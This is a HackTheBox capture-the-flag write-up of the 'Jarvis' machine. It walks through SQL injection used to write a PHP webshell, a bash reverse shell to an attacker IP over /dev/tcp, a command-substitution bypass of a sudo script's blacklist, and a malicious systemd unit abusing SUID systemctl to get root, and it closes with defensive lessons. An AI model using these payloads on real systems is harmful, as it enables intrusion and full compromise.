HTB: Jarvis Writeup
Jarvis - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Jarvis |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 22 Jun 2019 |
| IP Address | 10.129.229.137 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Jarvis is a Medium-rated Linux machine running Apache web services on ports 80 and 64999, both protected by IronWAF 2.0.3 that enforces rate limiting. The initial foothold is gained through manual SQL injection in a vulnerable query parameter, leveraging INTO OUTFILE to write a PHP webshell to the web root. Lateral movement to user pepper exploits incomplete input sanitization in a Python script (simpler.py) that can be executed via sudo, allowing command injection through bash command substitution. Root access is achieved by exploiting an SUID-enabled /bin/systemctl binary, creating a malicious systemd service unit that executes commands as root.
TL;DR: SQL injection → webshell (www-data) → sudo command injection in simpler.py (pepper) → SUID systemctl exploitation → root
Reconnaissance
Port Scanning
# Fast TCP SYN scan across all portsnmap -p- --min-rate=1000 -T4 10.129.229.137
# Detailed service version and script scan on discovered portsnmap -sC -sV -p 22,80,64999 10.129.229.137Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)80/tcp open http Apache httpd 2.4.25 ((Debian))64999/tcp open http Apache httpd 2.4.25 ((Debian))Service Enumeration
Port 80 - Apache Web Server
The web server hosts “Stark Hotel”, a booking website with multiple pages. Key observations:
- The site advertises rooms and hotel services
- A “Rooms” section links to
/room-suites.php - Clicking “Book now!” navigates to
/room.php?cod=<ID>with an integer parameter - Aggressive scanning triggers IronWAF 2.0.3, which bans the source IP for approximately 90 seconds
Port 64999 - Secondary Apache Instance
Displays the same “Stark Hotel” content, protected by the same WAF.
Vulnerability Assessment
- SQL Injection in
/room.php?cod=parameter - Integer-based query parameter vulnerable to UNION-based SQLi - IronWAF Rate Limiting - DoS/brute-force protection requires paced requests to avoid temporary IP bans
- MariaDB File Write Privileges - DBadmin user has
FILEprivilege, enablingINTO OUTFILEwrites - Sudo Misconfiguration - www-data can execute
/var/www/Admin-Utilities/simpler.pyas pepper without password - SUID Systemctl -
/bin/systemctlhas SUID root permissions (-rwsr-x--- root:pepper)
Initial Foothold
SQL Injection Discovery
The /room.php?cod= parameter accepts an integer to display room details. Testing for SQL injection:
# Test with boolean logic - true clause returns roomcurl "http://10.129.229.137/room.php?cod=1%20and%201=1--%20-"
# False clause returns empty responsecurl "http://10.129.229.137/room.php?cod=1%20and%201=2--%20-"Adding a single quote (') causes an error, but the vulnerability exists when treating the parameter as an integer in the SQL query.
Column Enumeration
Determine the number of columns using ORDER BY:
# Test with ORDER BY to find column count# 7 columns returns data, 8 returns empty - table has 7 columnscurl "http://10.129.229.137/room.php?cod=1%20order%20by%207--%20-"UNION-Based SQL Injection
With 7 columns identified, inject data into the response:
# Use negative ID to prevent original row from displaying# Columns 2, 3, 4, 5 are injectable positions in the outputcurl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,2,3,4,5,6,7--%20-"
# Enumerate database informationcurl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,database(),user(),4,5,6,7--%20-"# Returns: hotel (database), DBadmin@localhost (user)
# Test file read capabilitycurl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/passwd'),3,4,5,6,7--%20-"The DBadmin user in MariaDB has sufficient privileges to read files. Testing file write:
# Verify web root location from Apache configcurl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/apache2/sites-enabled/000-default.conf'),3,4,5,6,7--%20-"# DocumentRoot is /var/www/html
# Write /etc/passwd to web root as proof of conceptcurl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,load_file('/etc/passwd'),3,4,5,6,7%20into%20outfile%20'/var/www/html/test.txt'--%20-"
# Verify file was writtencurl "http://10.129.229.137/test.txt"PHP Webshell Upload
The INTO OUTFILE functionality allows writing arbitrary content to the web root. To bypass potential character encoding issues, use hex encoding for the PHP payload:
# Hex-encode the PHP webshell: <?php system($_REQUEST['cmd']); ?># Hex: 0x3c3f70687020737973...
curl "http://10.129.229.137/room.php?cod=-1%20union%20select%201,0x3c3f7068702073797374656d28245f524551554553545b27636d64275d293b203f3e,3,4,5,6,7%20into%20outfile%20'/var/www/html/j5x.php'--%20-"
# Test RCEcurl "http://10.129.229.137/j5x.php?cmd=id"# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)Reverse Shell
With confirmed RCE as www-data, establish a reverse shell:
# On attacker machine, start listener on unique port to avoid conflictsnc -lvnp 47591
# Execute bash reverse shell through webshellcurl "http://10.129.229.137/j5x.php" --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.X/47591 0>&1"'Why this works: The SQL injection vulnerability exists because user input is concatenated directly into a SQL query without proper parameterization. MariaDB’s INTO OUTFILE writes query results to the filesystem when the database user has FILE privileges and the web server has write permissions to the target directory. The hex-encoded payload ensures special characters in the PHP code aren’t misinterpreted during the SQL query execution.
Privilege Escalation
Lateral Movement: www-data → pepper
After gaining a shell as www-data, check sudo privileges:
www-data@jarvis:/var/www/html$ sudo -lMatching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.pyThe www-data user can execute /var/www/Admin-Utilities/simpler.py as pepper without a password. Examining the script:
# Relevant function from simpler.pydef exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)Vulnerability Analysis: The script blocks several command injection characters (& ; - | || \``), but crucially **does NOT block** $, (, or ). This allows **bash command substitution** using the $(command)syntax. When bash encounters$(…)`, it executes the inner command and substitutes the output into the outer command.
Command Injection Exploitation
# Create reverse shell script in /dev/shm (writable temp location)www-data@jarvis:/dev/shm$ cat > r.sh << 'EOF'#!/bin/bashbash -i >& /dev/tcp/10.10.14.X/47591 0>&1EOF
www-data@jarvis:/dev/shm$ chmod +x r.sh
# Start listener on attacker machinenc -lvnp 47591
# Execute simpler.py with command substitution injectionwww-data@jarvis:/dev/shm$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -pEnter an IP: $(bash /dev/shm/r.sh)Why this works: When the script executes os.system('ping ' + command), bash interprets $(bash /dev/shm/r.sh) as command substitution. The inner command executes first (launching our reverse shell as pepper), and its output (empty or error) is passed to ping, which fails harmlessly. The shell is already established before ping completes.
The reverse shell connects as user pepper:
pepper@jarvis:~$ iduid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ cat user.txt<redacted>Vertical Privilege Escalation: pepper → root
Enumerate SUID binaries to find privilege escalation vectors:
pepper@jarvis:~$ find / -perm -4000 -type f 2>/dev/null/bin/fusermount/bin/mount/bin/ping/bin/systemctl # <-- UNUSUAL: systemctl should NOT be SUID/bin/umount/bin/su...
pepper@jarvis:~$ ls -la /bin/systemctl-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctlCritical Finding: /bin/systemctl has the SUID bit set and is executable by the pepper group. This is highly unusual and dangerous, as systemctl manages system services with root privileges.
SUID Systemctl Exploitation
According to GTFOBins, systemctl can be exploited when SUID by creating a malicious systemd service unit. The systemctl link command allows linking unit files from arbitrary locations (not just /etc/systemd/system/), and systemctl start will execute the service as root.
# Create malicious systemd service unitpepper@jarvis:/dev/shm$ cat > pwn.service << 'EOF'[Unit]Description=Pwn
[Service]Type=oneshotExecStart=/bin/bash -c 'cat /root/root.txt > /tmp/root_flag.txt; chmod 644 /tmp/root_flag.txt'
[Install]WantedBy=multi-user.targetEOF
# Link the service unit (makes it available to systemd)pepper@jarvis:/dev/shm$ systemctl link /dev/shm/pwn.serviceCreated symlink /etc/systemd/system/pwn.service → /dev/shm/pwn.service.
# Start the service (executes ExecStart as root due to SUID)pepper@jarvis:/dev/shm$ systemctl start pwn.service
# Retrieve the flagpepper@jarvis:/dev/shm$ cat /tmp/root_flag.txt<redacted>Why this works:
- SUID Bit Inheritance: When
systemctlruns with SUID root, it retains root privileges throughout its execution - Service Unit Execution: The
Type=oneshotservice waits forExecStartto complete before marking the service as active - Root Context: The
ExecStartcommand executes in the root security context because systemctl (running as root) spawns the service process - Arbitrary Command Execution: We control the
ExecStartparameter, allowing execution of any command as root
For a full root shell:
# Alternative: Get interactive root shellpepper@jarvis:/dev/shm$ cat > root.service << 'EOF'[Unit]Description=Root Shell
[Service]Type=oneshotExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.X/47592 0>&1'
[Install]WantedBy=multi-user.targetEOF
# Start listenernc -lvnp 47592
# Executepepper@jarvis:/dev/shm$ systemctl link /dev/shm/root.servicepepper@jarvis:/dev/shm$ systemctl start root.service
# Root shell receivedroot@jarvis:~# iduid=0(root) gid=0(root) groups=0(root)Attack Chain Summary
Nmap Scan → SQL Injection in /room.php?cod= → INTO OUTFILE PHP Webshell → RCE as www-data →Sudo simpler.py Command Injection $(bash) → Shell as pepper → SUID /bin/systemctl →Malicious Systemd Service Unit → Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Manual SQL injection and webshell interaction |
nc (netcat) | Reverse shell listeners |
bash | Shell scripting and command execution |
systemctl | Service management exploitation (SUID) |
Key Learnings
Techniques Practiced
- Manual SQL Injection: Bypassing WAF rate limits through paced requests and manual exploitation
- MariaDB File Operations: Leveraging
LOAD_FILE()andINTO OUTFILEfor file read/write - Web Shell Deployment: Hex-encoding payloads to avoid character escaping issues
- Sudo Abuse: Exploiting NOPASSWD sudo permissions with vulnerable scripts
- Command Injection: Bypassing blacklist filters using bash command substitution (
$()) - SUID Binary Exploitation: Abusing systemctl SUID to execute arbitrary commands as root
- Systemd Service Units: Creating malicious oneshot services for privilege escalation
Lessons Learned
-
Input Validation Incompleteness: The
simpler.pyscript demonstrates why blacklist-based filtering is insufficient. While blocking common injection characters (|,;,&), it missed command substitution syntax. Lesson: Always use whitelist validation and avoid direct command execution with user input. -
SQL Parameterization: The SQL injection vulnerability exists because user input is concatenated into queries. Lesson: Always use prepared statements/parameterized queries to prevent SQLi, regardless of input type (integer, string).
-
FILE Privilege Restriction: The
DBadminMariaDB user hadFILEprivileges, enabling webshell deployment. Lesson: Database users should follow least privilege principles—web application database accounts rarely need filesystem access. -
SUID Binary Auditing: An SUID
systemctlbinary is extremely dangerous and non-standard. Lesson: Regularly audit SUID/SGID binaries (find / -perm -4000 -o -perm -2000), and remove unnecessary elevation on system management tools. -
Defense in Depth: While IronWAF 2.0.3 prevented automated scanning, it didn’t stop manual exploitation. Lesson: WAFs are a layer of defense, not a complete solution—secure coding practices must be the foundation.
-
Systemd Service Security: User-writable service units with SUID systemctl create a direct path to root. Lesson: Service management tools should never be SUID; use
sudowith specific, validated commands if delegation is necessary.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox Writeup by MinatoTW & Document No D19.100.44 (Classification: Official, 9 September 2019)
- GTFOBins - systemctl